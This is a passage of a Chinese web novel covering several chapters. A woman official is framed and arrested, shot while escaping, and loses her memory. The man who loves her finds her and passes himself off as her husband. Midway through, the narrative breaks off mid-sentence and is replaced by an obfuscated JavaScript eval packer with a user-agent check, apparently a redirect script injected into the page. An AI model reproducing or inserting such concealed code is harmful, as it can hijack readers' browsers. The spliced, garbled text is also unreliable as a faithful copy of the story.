这段时间,方轻尘同几位御医在一起研讨药方,大家都惊叹于他的悟性之强,很多药典上记载的古早药方,他稍作思考就能说出其中蕴含的药理。因为这个原因,几位御医都愿意主动指导方轻尘,毕竟没人不喜欢悟性高的徒弟。 而方轻尘也抓住了这次机会,除了照顾柳忆安,其余时间都待在医馆向几位御医请教。 资历最深的那位御医很喜欢他的好学,表示如果方轻尘愿意的话,回京后可以去太医院跟着她。 得到承诺的方轻尘欣喜若狂,一直以来,他都为自己的出身感到自卑。不论是秋川白还是陆映川,或是那些对着登榜学子虎视眈眈的京中世家,都能在朝堂上为柳忆安出力。只有自己,只能拖累她。 如果能进到太医院,那他从此以后就有了帮她的资本,就有了堂堂正正站在她身边的底气。 因为这个原因,自打柳忆安完全康复,方轻尘几乎所有的时间都待在医馆。柳忆安为他能得到御医的指导感到开心,但挂心他的伤势,便时不时地去医馆提醒他休息。 “轻尘,忙了一上午了,该休息一下了。” 柳忆安的声音在医馆响起的那一刻,方轻尘的眼神一下就亮了起来。几位御医见状,眼含笑意地挥挥手,让他先去陪柳忆安,见他兴高采烈地去了,小声议论道。 “我听柳大人说,她和方公子快成亲了?” “这两位都是好人啊,这次多亏了方公子送来药材,不然要枉死不少人。” “估计很快就能喝到这两人的喜酒了。” 方轻尘耳尖地捕捉到她们的对话,一脸通红地走向柳忆安。 “你怎么脸这么红?是不是屋里太闷了?小心伤口会发炎。”柳忆安担心地问道。 “没…没有,屋里还好。陆映川已经离开了吗?” “嗯,陆将军来信催他,我刚把他送走。” 面对陆映川,方轻尘心里总是不自觉地浮现出各种复杂的情绪。内心最深处的欲望让他排斥每一个企图接近柳忆安的男子,但是他又知道陆映川之前说的都是对的,一个身份尊贵的男子才是柳忆安的良配,而自己,不管什么身份,只要能陪在她身边已经是三生有幸。 可柳忆安这个人,在女男之情上总是慢半拍。或者说,只要她自己没有对对方生出心意,就看不见别人对她的示好。 说到底,她只在意她喜欢的人的心意。 这就是为什么,她和秋川白成亲后根本觉察不出自己的付出。这也是为什么她如今还未发觉陆映川对她的心意。 当柳忆安在外人面前介绍自己是未过门的夫郎时,他心里又喜又忧,担惊受怕地享受着被她承认的瞬间。 等回到京城,等陆家向她伸出橄榄枝,他就会再次成为那个上不得台面的小侍。 “你怎么了?在想什么?”柳忆安说了几句话后,见方轻尘没有回应,便在他眼前挥了挥手。 方轻尘回过神,赶紧说:“我今日听说,竹安县有座月老庙,可保佑妻夫感情和睦,相守一生,我和你去那里拜一拜。” “好啊,择日不如撞日,趁着今日天气不错,我们现在就出发吧。” 月老庙坐落在竹安县后山的半山腰上,周围古树环绕,阳光透过层层叠叠的枝叶洒在庙前的石阶上,映出一条斑驳光影的山路。庙宇不大,但香火极为旺盛,庙门前摆满了新挂上的红绸与长签,每一道签上都写满了人们的心愿。 柳忆安牵着方轻尘的手,慢慢拾级而上。路上遇见不少百姓,都高兴地同她打招呼。 “柳大人,你来这里算是 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“轻尘,我写完了,该你了。” “好,我来了。” 刚做了心虚的事情,方轻尘不敢直视柳忆安的眼神,他匆匆拿过了柳忆安递给他的木牌,上面写着柳忆安的愿望—— “愿得一人心,白首不分离。” 方轻尘轻轻一笑,在背后写下了自己的心愿。柳忆安想看看他写的什么,却被他挡住。 “等以后再让你看。” “这也太不公平了吧,你都知道我写的是什么了。”柳忆安不满地嘟起嘴。 方轻尘故作神秘地收好木牌,轻轻摇头道:“愿望说出来就不灵了,等到它实现的时候,你自然就会知道。” 柳忆安见他这般,半是无奈半是好奇,却也没有强求,只是撇了撇嘴,道:“罢了罢了,随你去吧。” 随后,方轻尘将写下两人愿望的木牌挂在了树上,一阵风吹过,满树木牌轻轻碰撞,发出细微的声响,如同回应着有情人许下的一桩桩承诺。 下山的路上,天色已经逐渐变暗,两人紧紧着手,谁也不愿放开。 “忆安,这次你来竹安县的事情,柳家主知情吗?”方轻尘突然想起,这次来疫区,事发突然,好像还未同柳家主说起过。 柳忆安摇头,“我没和家里说,害怕她们担心,想着等我回京了再说。” “这次事发突然,谁也没料到发榜当天皇上就派你前往疫区。”方轻尘回想起得知柳忆安被染上疫病的那天,牵住她的手不由得又握紧了一些,“别说柳家主了,连我都要吓死了。” “等我回京就给母亲寄信,正式向母亲禀明抬你为正夫的事。” “…好。” 不论以后如何,就让他再多贪恋几分此刻吧,她们完全属于彼此的此刻。 就着夕阳,两人慢慢散着步往住处走去,却发现有一群官兵将住处团团围住。 在见到柳忆安的那一瞬,官兵一拥而上,将她牢牢押住。 “刑部尚书有令,押送犯人柳忆安回京受审。” 51. 脱逃 “你们放开她!”方轻尘不想松开柳忆安的手,挣扎之时,有人一脚将他踹飞了出去。 “敢跟你军奶奶动手,找死。” 被突然踹了一脚,方轻尘下意识地想还手,但想到自己一时冲动会给柳忆安带来更大的麻烦,便生生忍了下来。 “轻尘!我没事的!”负责押送的官兵不断推搡着柳忆安,她一边踉跄地走着,一边回头喊道,“你回云州城找我母亲,告诉她们要小心,谁也不能相信!” 京城暗涌迭起,她不能让方轻尘和自己一起步入险境,让他回到云州城是最稳妥的选择。 “忆安——” 方轻尘想追上去,却被两边的官兵用刀鞘狠狠抵住了肩膀。 “别乱动!再喊就把你也抓起来!”官兵恶狠狠地警告。 “轻尘!照顾好自己!” 这是柳忆安留下的最后一句话 直到押送的队伍消失在长街的尽头,方轻尘才回过神。 一股血腥味“倏”地从嘴里直冲头顶,他不知何时咬破了自己的下唇,一滴血接着一滴血地渗出,不断渗入到地面。 方轻尘着急去马厩,便用手随便抹了一把。红色的血迹顺着嘴角被抹开,远远看上去,像是一道狰狞的伤痕。 他不敢多想柳忆安的处境,他必须完成柳忆安留给他最后的嘱托,回到云州城,让柳家主小心。 方轻尘一路飞奔,快到马厩的时候,就看见江廷守在门口。 “方公子,柳大人的事情我已经知道了,我相信她的为人,但那群人奉的是刑部尚书的命令,请恕下官实在无能为力。” “江大人无须自责,此事与您无关。”方轻尘没时间同江廷寒暄,他大步走到马厩里,找到那匹从将军府带出来的快马,就在他准备上马时,江廷出声拦住了他。 “方公子,骑这匹马吧。”江廷牵来一匹全身乌黑的骏马,“你的马虽跑得快,但不会比追风跑得远。” 追风是她父亲从草原人手上买下的小马,由她亲手抚养长大,是一匹极具耐力的好马。 “云州城路途遥远,你必须尽快赶到。柳大人对竹安县有恩,刚刚没能救下恩人,我心中有愧,现在就把追风赠予公子,让它替我报答柳大人的恩情。” “多谢江大人,待事情结束,我一定将追风送还。” 江廷用手轻抚着追风的额头,眼神里充满不舍,“公子快些出发吧,朝堂中的事,一晚上就能天翻地覆。” *** 押送的队伍行进了整整两日,在这期间,柳忆安只被灌了几碗水,已经累到脱力。 身旁的看守看她走得慢了,便不耐烦地往前推她,丝毫不管眼前这人刚考中了探花。 身后的官兵见柳忆安步伐越来越轻浮,心里有些发慌,“姐,我们给她吃点东西吧,别还没到京城人就不行了。” “你管她作甚,”推搡柳忆安的那人底气十足,她走到身后那个官兵旁边,小声耳语,“她柳家勾结山匪,偷换药材,证据确凿。刑部已经把柳家人都抓起来了,昨日刚得到消息,柳家主和她主夫在前往京城的路上已经畏罪自尽了。这个柳忆安,等真到了京城,遭几日审讯反而更受罪。我看还不如死在半路呢,我们也省心。” “啊?都畏罪自尽了?” “是啊,不然怎么说证据确凿呢?被抓住的山匪头子亲口供出的柳家,若不是因为心虚,怎么会在半路上自尽?” “可这疫病不是因为柳大人才平息下来的吗?” “我看你就是榆木脑袋,这点事情都想不通,若不是因为柳家贩售这种偷工减料的药材,为何那么多人都没发现问题,偏偏她柳忆安一过来就发现了问题所在。” “是哦,姐,你太厉害了,一眼就看透了,我真得向你学习。” “嗨呀,哪是我厉害啊,是上面人这么说的。” 母亲,父亲,畏罪自尽? 那两人虽有意降低了声音,对话却还是被柳忆安尽数听了进去。 柳忆安的心脏仿佛被钝器狠狠碾碎,疼痛顺着血管蔓延全身,胃液翻涌着冲上喉头,仿佛要从胸腔倒灌进鼻腔,每一次呼吸都像被烈火灼烧般刺痛。她努力忍住喉间的腥甜,强行压下翻涌的恶心感,步伐依旧沉稳,仿佛什么都没听见,什么都未曾发生。 母亲,父亲…… 还有柳家其她人…… 她猜到柳家会受到牵连,也明白自己一旦被带回京城,等待她的绝不会是简单的审讯。但她万万没想到,他们竟然直接动手,把她的母父“畏罪自尽”了。 杀人灭口,还要做得冠冕堂皇,叫她连真相都无处可寻。 为什么?自己究竟做错了什么?为何有人频频对自己下狠手? 花灯的事情是萧韵做的,这次也是萧韵对自己下手吗? 她柳忆安到底什么时候得罪了她? 她向来把萧韵视作自己的亲姐姐,每次她来柳家做客,母父也很是欢迎。 到底是为什么?究竟是为什么! 没工夫去探究萧韵为什么要对自己下狠手了,照现在的局势,她不能跟着这群官兵回京,京中肯定已经设下天罗地网,等她一到,便会被扣上罪魁祸首的帽子。 她必须想办法从这群官兵的手中逃出去。 自己先前还授意方轻尘回柳家,也不知道他现在还好吗。 夜幕降临,押送队伍终于停了下来。 官兵在路旁扎营,而她手脚皆被捆住,扔在一棵巨树下面。几个看守的官兵围坐在篝火旁谈笑风生,丝毫没有将她当回事。 “姐,我去旁边看着她吧,别让她跑了。”那名年纪稍轻的官兵踢了踢脚边的柴火,见火光渐弱,便随手又扔了几根枯枝进去,火焰猛地蹿起,映红了篝火旁所有人的脸。 年长的那个官兵摆摆手,满不在乎地说道:“跑不了的,她手脚都被绑着呢,再说了,这片山林四处荒无人烟,她就算真能挣脱了束缚,又能逃到哪儿去?” “那好吧。”她又看了两眼柳忆安,见其脸色苍白,不像是有力气逃跑的样子,放下心来。 一群人用完饭,要选出当晚轮值的人。 那位年长的官兵自告奋勇道:“我来看着吧,也该轮到我了。” “行,那今夜就麻烦你了,一定要看紧哈。”为首的官兵拍了拍她的肩,随后便带着其她人回帐篷休息去了。 年长的官兵抱着刀,打了个哈欠,坐到柳忆安身旁不远处,嘴里嘟囔着:“你最好老实 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接着,她悄悄地移动到那个官兵的身侧,偷偷拔出对方放在腰侧的小刀,割断了绑着自己腿脚的麻绳,随即猫着腰,一点点地向后挪去,最终隐入黑暗之中。 篝火的光亮在她身后越来越远,柳忆安听到有水流的声音传来,便往那个方向一路狂奔。 “跑了!犯人跑了!” 紧接着,数根火把高高举起,证明着官兵们已经全员出动。 柳忆安心下一沉,加快了自己的脚步。 虽然两日未进粮食,但求生的欲望让她此时爆发出无穷的力量。 黑暗中,柳忆安踉跄地奔跑,身后的火把像游蛇般窜动,官兵的喊声混杂在夜风里,带着愈发逼近的杀意。她的手腕血迹斑斑,每一步都带着撕裂的疼痛,但她丝毫不敢放慢脚步。 前方水声越来越清晰,柳忆安的心跳如擂鼓,只要能跳进河里,就能找到一线生机! 然而就在她冲出密林的瞬间,一阵劲风从背后袭来—— “嗖——” “噗——” 尖锐的疼痛瞬间贯穿左胸,柳忆安猛地踉跄,几乎站立不稳。她低头看去,一支羽箭贯穿了自己的身体,鲜血顺着箭杆蜿蜒流下,染红了她半边衣裳。 接着,又是两箭,分别射穿了她的腹部和大腿。 伴随着剧痛,柳忆安再也无法站稳,整个人向前栽去,重重跌入湍流的河水中,刺骨的河水瞬间吞没了她的身体。 冰冷的水流蹿入鼻腔,仿佛要将她整个肺腑灌满。柳忆安拼命挣扎,可鲜血从伤口涌出,她的力气正一点点被冰水吞噬…… 她的意识在黑暗里跌落,眼前最后的光亮也逐渐消失。 ——然后,她的身体随波翻滚,被冲向更深不见底的夜色之中。 “老大!犯人掉河里了!” 官兵们集合在河岸边,望着翻滚的浪花,面面相觑。 “这……她死了吗?” “中了三箭,其中一箭射中了心脏,还掉到了河里,我看是活不了了。” 带头的官兵望着宛如脱缰野马般的河水,沉默片刻,最终下令:“她死了,我们回去复命。” 52. 失忆 “忆安姐!轻尘哥一早就出门了,让你中午到我家里吃饭!” 石小白挥舞着手里的竹篮,笑盈盈地跑到柳忆安面前。 柳忆安停下脚步,弯下腰拍了拍他的脑袋,笑道:“好啊,那就麻烦你和石姐了。” “不会麻烦的!”石小白咧嘴一笑,露出一口白牙,随后蹦蹦跳跳地跑远了。 柳忆安望着他的背影,微微一笑,继续朝学堂走去。 她已经在这个村子生活快一年了。 她喜欢这里的安宁,也喜欢这里的温暖。 *** 三年前,当她从一片混沌中惊醒时,嘴里还残留着血的腥味。 “咳……咳咳。”她下意识地想翻身,却被撕裂般的疼痛钉在床上。 “醒了?哎呦,姑娘你真是命大。” 一个年迈的女人听到动静,端来了一碗漆黑的药汁,蹲在她床边,“来,把药喝了。” 她嗓子干涩得像被砂砾刮过,挣扎着抬眼看向对方,声音发虚:“你……是谁?” “我是这附近的农户,之前在河边的浅滩上捡到你。”女人一边说,一边将汤匙递到她嘴边,语气里叹息道,“姑娘,你长得很像我的女儿。” “……你的女儿?”她茫然地环顾四周,脑子里一片空白,艰难地开口,“我是你的女儿?” “不是。”农妇轻轻摇头,“姑娘,你……是什么都不记得了吗?” 她一愣,试着去回忆,可脑海里空荡荡的,像是被人硬生生抹去了一切痕迹。 名字、家人、过去……什么都没有。 “我……不知道。”她的声音微不可闻,“我……什么都不记得了。” 她咬紧牙关,强忍住剧烈的疼痛,努力从床上坐起。 农妇连忙扶住她,柔声劝道:“姑娘,你全身都是伤,别乱动,好好养着吧。” 她怔怔地看着四周,片刻后,低声问:“……我为什么会伤成这样?” “我也不知道。”农妇一边喂她喝药,一边讲述自己捡到她时的情形,“当时你被河水冲到岸边,身上都是血,气息若有若无,我还以为你活不成了。” 她尝试回忆自己过往,脑子里却像有一团无论如何也理不清的乱麻。 碗里只剩下最后一口药,农妇将碗递到她嘴边,劝道:“算了,姑娘,记不得就记不得了。受了这么重的伤,能活下来就已经是老天的恩赐了,就当自己重活一遍吧。” 她面无表情地喝下那碗苦涩的药汁,心里却翻涌着说不清的情绪。 “姑娘,以后我叫你乐儿吧,以后你叫我杨姨就行。” 杨乐儿,是农妇早逝女儿的名字。 “杨姨…”她迟疑地开口。 “我在,我在。” 农妇激动地红了眼眶,上天要走了她的一个女儿,如今又给她还来了一个。 尽管杨姨十分用心地看护,可她还是卧床了整整三个月才能下地。她瞧着镜子里的自己,满身都是狰狞的伤痕,尤其是左胸前的一个洞,看着吓人极了。 她不知道自己到底经历了什么,但总隐隐觉得,自己若一直待在杨姨身边,会给她带来麻烦。 当她把自己的想法告知杨姨时,却见杨姨一脸的不以为然。 “乐儿,世道不好,就算我只是老实地种田,也经常会被人找麻烦。你还是别多想了,安心在这里住下吧,就当陪陪我这个老人家了。” 见杨姨如此说,她便也放下了心中的担忧,开始学着料理家务,耕种田地,偶尔也会去镇上换些日常所需的物件。 日子一天天过去,她的肌肤不再如最初那般白皙,而是被日头晒出了健康的小麦色,曾经纤细的四肢如今也因长期的劳作而添了几分力道。 从最初的不适应,到习惯了晨起劳作、夜晚围炉而坐的平淡日子,她真的变成了杨姨口中的“乐儿”。 只是,她经常会做一些离奇的梦。 她梦见过自己被安排了一桩亲事,可是那位同自己定亲男子似乎并不喜欢自己,他哭闹着要同自己和离。 她也梦见过一个人背着自己在大雪里前行,梦里是那么冷,冷得她浑身发抖。醒来一看,原是被子不知何时掉到了地上。 她梦见过自己立于大殿之上,一群人对着自己发难。一转眼,她又立于高塔之上,一个蒙住眼睛的白发男子张着嘴,对着自己说着什么。 可是她从未在梦里看清过任何一张脸,也没听清过任何一句话。 最初的那些夜晚,她会从梦中惊醒,嘴里含糊不清地呢喃着“娘亲……爹爹……”,脸上尽是泪水。可再后来,她渐渐习惯了,梦境依旧会出现,她却不再哭喊,即使惊醒,她也不再哭泣,只是默默地在床边静坐,等待心跳平复。 她知道那些梦一定与她的过去有关,可每次她醒来,所有的画面都会像雾一样散去,不留一点痕迹。 当她不再执着于探究自己的身份,答案却偏偏自己送上门来。 那天,她像往常一样,拿着自己和杨姨编织的竹篮去镇上售卖。正当她寻觅哪里适合摆摊时,一个男子突然从人群中冲出来,牢牢抱住了自己。 “忆安,忆安,我终于找到你了。” 她被吓了一跳,用力甩开对方后,连连后退了好几步。 “你是谁?你认识我吗?” 眼前的男子眉如墨画,鼻梁高挺,一双狐狸眼微微上挑,本该勾人心魄,可此刻却装满了疲惫与痛楚,想来多日未曾好好休息过。 见到她抵触自己的样子,男子的眼神立即变得无措,两只手抬起又放下,不知道如何是好。 “我是方轻尘啊。忆安,你不记得我了吗?” 她摇摇头,“对不起,我什么都不记得了。你认识我?” 因为这位男子的出现,原本的摆摊计划取消,她要带着这位自称“轻尘”的男子回家,探听自己的身世。 *** “我是你的夫郎。” “噗——” 随着男子说出落座后的第一句话,她刚入口的热茶直接喷了出来,洒了一桌不说,还险些呛到自己。她剧烈地咳嗽了两声,脸上写满了震惊:“你、你说什么?” 杨姨连忙递过帕子,拍了拍她的后背,嗔怪道:“哎呀,你这丫头,喝口茶都能呛着。” 听到眼前这男子是“乐儿”原来的夫郎,杨姨倒是一脸的惊喜,“小伙子,你别怪她,我再去给你们拿点吃的来。” 在杨姨看来,“乐儿”相貌不凡,理应有个如此貌美的夫郎相配。 等杨姨离开,她很快从刚刚的震惊中回过神来,继续询问自己的过往:“你叫我‘忆安’,所以我原来的名字叫‘忆安’吗?” “嗯,你叫…‘方忆安’。”方轻尘略一迟疑,擅自将她的姓氏改为了‘方’。 如今,无人不知柳家人勾结山匪,贩卖劣质药材的事,若再冠上原本的姓氏,一定会凭空惹来是非。 他纠结了一下,是用她父亲的‘曲’姓,还是用自己的‘方’姓,稳妥起见,他还是选了自己的姓。 “我叫‘方忆安’?可是你不是叫‘方轻尘’吗?如果你是我夫郎,我们为何会是一个姓?” “成婚后,我从妻姓。”方轻尘抿了一口茶,掩饰自己的心虚。 “原来是这样,”她点了点头,虽然觉得“方忆安”这个名字有些绕口,但还是接受了这个说法,“那我们以前感情肯定很好吧?可我真的一点都想不起来了,真是抱歉。” 听到那句“那我们以前感情肯定很好”时,方轻尘喉咙一紧,眼眶悄然泛红,回忆如潮水般袭来。 那一日,他没日没夜地纵马回了云州城,想警告柳家一定要万事小心,柳忆安被她人构陷的事情。好不容易到了柳府,却见大门被贴上了封条。 他逮住一个路人,问究竟发生了何事,却得知了柳家获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这期间,陆映川也在不停地寻找,然而结果与他一样,皆是一无所获。 随着所有的希望都化为灰烬,似乎只剩下一条道路。 尽管母亲临终前对他说的最后一句话,便是让他“无论如何,都不要走那条路。” 可如今,他已别无选择。 他的指尖轻轻摩挲着胸前的某道秘痕,目光深沉,决绝地踏入那个不可回头的深渊。 好在,自己的选择是正确的。 现在他终于找到了她。 看着眼前的柳忆安一脸好奇地看着自己,眼神清澈而温暖,他感觉所有的付出都是值得的。 一开始,见她忘了自己,方轻尘仿佛被冰水浇个彻底。他曾无数次幻想与她重逢的画面,却从未想过,她会用如此陌生的眼神看着自己。 可现在,他却开始庆幸她忘记了那些痛苦的过去。 因为忘记,她不必背负那些沉重的过往,不必在朝堂的明枪暗箭中挣扎。她如今生活得简单而自在,在一个宁静的小村庄里,做一个普通人。 那些冤屈,就让他去平反。那些仇人,就让他去解决。 “你怎么了?是不是我记不起你,让你很难过,对不起啊,我也不想这样。” 见方轻尘久久不语,她以为是自己的反应伤了他,心里满是愧疚。 “不过,”她顿了顿,鼓足勇气道,“我知道,我以前一定是很喜欢你的。因为,因为……我一见到你,心里就很是欢喜。” 方轻尘怔怔地看着她含笑的双眼,心里仿若掀起滔天的巨浪。 下一瞬,他再也无法克制心中的冲动,猛然伸手,将她紧紧拥入怀中,声音低哑而克制:“不要道歉,见到你,我也欢喜。” “很欢喜很欢喜。” 53. 新家 方轻尘陪她在村子里生活了一周后,便提出带她离开,前往另一个地方。 可她舍不得杨姨。 “我们不能留在这里吗?” 方轻尘不忍看她乞求的眼神,微微偏过头,“这里不安全,我们得去一个更安全的地方。” “那好吧。”她点点头,这是个无法拒绝的理由。 见柳忆安闷闷不乐的样子,方轻尘最后还是让了一步,“我们可以每个月都回来看看杨姨。” 就这样,在一个阳光明媚的上午,柳忆安和方轻尘在同杨姨告别后,来到了这个藏在深山中的村落。 方轻尘带她来到一座依山而建的小竹屋,屋前有一片开阔的空地,围着一圈简易的篱笆。 竹屋不大,布置简朴却温馨。屋里有两间内室,各摆了一张宽敞的竹床,靠南的内室里多摆放了一张木桌,桌上放着一盏油灯和一摞书,显然是方轻尘提前准备好的。 “忆安,这里就是我们的新家。这间朝南的内室是为你准备的,看看还有什么需要的,我去为你置办。” “为我准备的?你不同我睡在一起吗?”她虽然失去了一些记忆,但还是知道普通妻夫是应当宿在一起的。在杨姨家时,因为只有一张床的原因,方轻尘只能在邻居家借宿,可如今来到这里,她们俩还要分开住吗? 听了她的问题,方轻尘的脸上立刻炸开一团红晕,连耳尖也变得通红。 “我,我们,是因为你身子还没康复,我们还不能睡在一起。等,等你身子完全康复了再说吧。你先参观屋子,我,我有事先出去一下。” 说完,不等她回复,方轻尘便飞也似地逃了出去。 他躲到了屋子后,那里有一条清澈见底的小溪。因脸上的燥热迟迟不消,他索性蹲下身,双手捧起一捧冰凉的溪水泼到自己脸上。 冰凉的溪水顺着脸颊滑落,浸透了衣襟,他抬手抹了把脸,望着水面倒映出的自己,轻轻叹了一口气。 这段时间,趁着她失忆,他擅自占了她夫郎的位置。 这本是权宜之计,现在朝中各方势力混杂,为了保证柳忆安的人身安全,他必须想办法将她圈在自己的地盘。 可柳忆安越不设防,他就越心虚。 他为柳忆安把过脉,知道她失忆是因为脑中有淤血堆积,随着淤血渐渐散开,她总会恢复往日的记忆。 不知那时,她会如何看待自己今日所为。 想到这里,他又狠狠地往脸上泼了一捧水,试图压下自己不安的心绪。 就在这时,她的声音突兀地从背后响起。 “轻尘,你怎么在这里?” 方轻尘听到柳忆安招呼自己,连忙回头看去。因他本就心虚,脚下一时不慎,踩在了溪边光滑的石头上,整个人顿时重心不稳,往身后栽去。 “轻尘!”柳忆安下意识地伸手去抓他,可惜她的动作还是慢了一步,不仅没有拽住方轻尘,自己也没能稳住身形,跟着跌了下去。 扑通一声,溪水四溅,两人双双倒在水里。 方轻尘本能地将柳忆安护在怀里,湿透的衣衫紧贴着肌肤,两人的体温透过衣料彼此交融在一起。 这突如其来的亲密让两人皆愣了一愣,感受到自己的不对劲,方轻尘下意识地想躲闪,又怕伤到柳忆安,便一动也不敢动,一直僵硬地抱着她。 柳忆安一开始只觉得方轻尘的心跳得不像话,片刻后,才后知后觉地意识到他的不对劲,脸腾地红了。 她立刻连滚带爬地站了起来,下意识地往岸上走去。走了两步后,才想到方轻尘还躺在水里,便伸出手,想要拽他起来。 方轻尘抬起头,看着柳忆安站在溪水中,衣摆湿漉漉地贴在腿上,长发被水雾沾湿,几缕发丝黏在脸颊边,眉眼深处还带着刚才的惊慌,还有几分关切。 “快起来,水里凉。” 她的声音比溪水还要清澈,涤去了他这两年所有的阴霾。 方轻尘轻握住柳忆安伸出的手,顺势起身,感受着从她指尖传来的温度。 站稳后,他想将手缩回,却被柳忆安一把抓住。 “看你笨手笨脚的,我们还是互相牵着手吧。” 方轻尘任由柳忆安牵着自己,随她一起回到竹屋。 “快换上一身干净衣服,我去为你烧水。”一到屋里,方轻尘就找出一身干净衣服让柳忆安更换,随后便匆匆开始烧水,全然不顾自己的衣服还在滴水。 很快,热水就烧好了,调好了浴盆里的水温,方轻尘便招呼着柳忆安来泡热水澡,驱走身体里的寒气。 “你不和我一起吗?”柳忆安进屋后,见方轻尘准备离开的身影,不解地问道。 方轻尘慌乱逃走,“这,这怎么能在一起,盆这么小。” 柳忆安不明白,为何方轻尘总是与自己保持距离。她见过其她人的夫郎,哪一个不是和妻主依偎在一起,拥抱亲吻都是再自然不过的事,可方轻尘却连牵一下手都要脸红躲闪。 难道是因为两人分别太久,才变得生疏了吗? 也是,自己过去的记忆已经全然消失,两人的关系确实同平常妻夫不一样。 只不过,方轻尘脸红的样子格外可爱,她喜欢看他一脸害羞的模样。 柳忆安泡在浴盆里,水雾氤氲,整个人都暖洋洋的。她低头看着水面,脑子里不断回想着方轻尘方才落荒而逃的模样,忍不住轻笑出声。 很快,柳忆安就适应了这里的生活。 虽然这里方言和官话截然不同,但村民们似乎对她格外包容,只要她在场,大家都会默契地改用官话,生怕她听不懂。 方轻尘从不让她操持家务,每日都为她精心准备一日三餐。方轻尘的厨艺好极了,做的饭极合她的胃口,尤其是一道话梅小排,第一次尝的时候,她恨不得连盘子都吃下去。 日子虽平静,时间久了也会有些无聊。方轻尘白天时常不在家,也不说他到底在忙些什么。 有一天,柳忆安实在是闲得无聊,随口抱怨了几句。随后方轻尘为她找来了一些书打发时间,可她一个字都不认得。 “这写的什么呀?我都不认得。”柳忆安随手翻开书,无奈地抱怨着。 屋子里静了一瞬。 方轻尘站在她身侧,目光落在书页上,却迟迟没有回应。 柳忆安偏头,看到他的侧脸,才发现他正微微低着头,睫毛轻轻颤动,像是被什么压得喘不过气来。 她还未来得及问出口,便见他已经转过身去,背对着她,手臂飞快地抬了一下,似乎在擦眼泪。 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一日,方轻尘早上收到急报,来不及为柳忆安备饭,便要匆匆出门。临行前,他特意拜托邻居石姐一家照顾柳忆安。 “放心吧,不过是多添一副碗筷的事,我保证让忆安吃好喝好,你尽管去忙。”石姐爽朗地拍了拍胸口,笑道。 跟着柳忆安识字的孩子年龄都尚小,学堂一天只开半天。中午放学后,柳忆安本想和石小白一起回家,可一转眼的工夫,他就不见了。 “石小白?”她皱了皱眉,环顾四周,却没见到那个活蹦乱跳的小身影,便向几个尚未离开的孩子询问,“你们看到石小白了吗?” “方夫子,我知道!”坐在石小白旁边的孩子兴奋地举起手,“他肯定是去见神侍大人了!” “神侍?”柳忆安一愣,“什么是神侍?” “我嬢嬢说,神侍是神明在人间的使者,能把大家的愿望传递给上苍!得到神侍赐福的人,心愿都会成真!”孩子们争先恐后地解释,眼里满是对神侍的向往。 柳忆安听得微微蹙眉,若只是寻常信仰也就罢了,可听这些孩子的语气,这位“神侍”似乎并非虚无缥缈的传说,而是个真实存在的人。 “那石小白为什么要去见神侍?”她追问。 “今日神侍大人会路过山下镇子,今早石小白就念叨着要去看看。”有孩子答道。 柳忆安心里咯噔一下。 这孩子竟然一个人下山了?那条山路崎岖难行,何况神侍信众众多,他一个小孩在人群中乱跑,实在危险。 她不再迟疑,语气严肃地叮嘱道:“你们快回家,千万别学石小白擅自下山,很危险的。” 确认孩子们都往自家方向走去后,她提起裙摆,匆匆朝山下奔去。 这还是柳忆安搬到此处后第一次下山,尽管她对山下十分陌生,但很快就确认了神侍会从何处经过。 毕竟那一路人山人海,想不注意都难。 沿途已经挤满了人,有经商头脑的人甚至摆起了摊子,向人群兜售食物。 “石小白!你在哪!”柳忆安焦急地在人群中穿梭着,寻找那个矮小的身影。 “叮——叮——” 远方传来了一阵铃响,随后人群掀起一阵骚动。 “神侍大人!是神侍大人!” 54. 掳走 长路尽头传来阵阵马蹄声,一队身披铁甲的骑兵正缓缓而来。她们列队而行,包围在一架雕刻着繁复的云纹的白玉马车周围。 牵引马车的是四匹银鬃白马,每匹马额间皆系着一枚黑玉护符,好似天上的神马。马车的四角皆系着鎏金铜铃,随着马车前行发出阵阵悦耳的响声。 “神侍大人!求您保佑!” “求您保佑!” 见到马车,百姓纷纷沿路跪下,虔诚地高呼着。马蹄声、铜铃声以及众人的祈愿声交织在一起,回荡在街巷之间,场面一度诡异极了。 柳忆安久久未找到石小白,焦急在人群中穿梭着,寻找着那个矮小的身影。四周的人群已然跪倒一片,唯有她伫立在其中。 等柳忆安回过神时,马车已经离得很近了,她这才注意到只有自己还没跪下,显得格外突兀。 就在这时,旁边突然袭来一股力道,拽着柳忆安跪了下来。 “轻尘?你回来了?”看清旁人后,柳忆安惊喜万分。 “嘘,我们先等这群人过去。” 两人低着头,隐藏在人群里。等车队彻底过去后,方轻尘将柳忆安扶起,为她拍净了身上的尘土。 “怎么突然下山了?” 方轻尘才处理好突发事件,听闻神侍要路过此地,正准备绕路而行,却突然望见柳忆安挤在人群中的身影,吓得他大惊失色。 他虽然从未当面见过神侍,但知道他也是寻找柳忆安的几股势力之一。 而且前脚才抓到一个叛徒,后脚神侍就寻到了这里,很难说这全然是巧合。 “石小白跑下山了,我是来找他的,你快陪我一起找找。”还未寻到石小白的踪迹,柳忆安心里愈发着急。 方轻尘牵住柳忆安的手,宽慰道:“我陪你一起,放心,他机灵着呢,不会有事的。” 很快,方轻尘就瞄到了石小白的身影,他和一群小孩跪在一起,闭着眼,嘴里不断地许着愿。 “希望爸爸回来希望爸爸回来希望爸爸回来……” “石小白!”柳忆安怒吼一声,快步冲到石小白身边,将他一把拎了起来,“你知不知道擅自下山很危险!” 石小白低着头不敢反驳,眼泪却一连串地掉下来。 “呜呜呜,我错了忆安姐,我再也不自己一个人下山了。我就是想让我爸爸回来……” 柳忆安知道石小白的父亲前些年因嫌弃家里条件不好,跑去给一个富商家里做了侍,从此再也没有音讯。她理解石小白的心情,也不忍再说重话:“唉算了,先和我一起回家吧。以后要是想下山,可以找我陪你。” 石小白点点头,抬起手蹭掉了眼泪,乖乖地跟在柳忆安旁边,不再乱跑。 柳忆安牵起石小白的手,而方轻尘也顺势牵起了柳忆安的手。 “妻主,手要牵得再牢一些,莫要走散了。” 他的掌心温热,带着一丝令人安心的温度。柳忆安心头一暖,转头对上方轻尘那双含着浅浅笑意的眸子,嘴角扬起一抹微笑。 “好,都听夫郎的。” 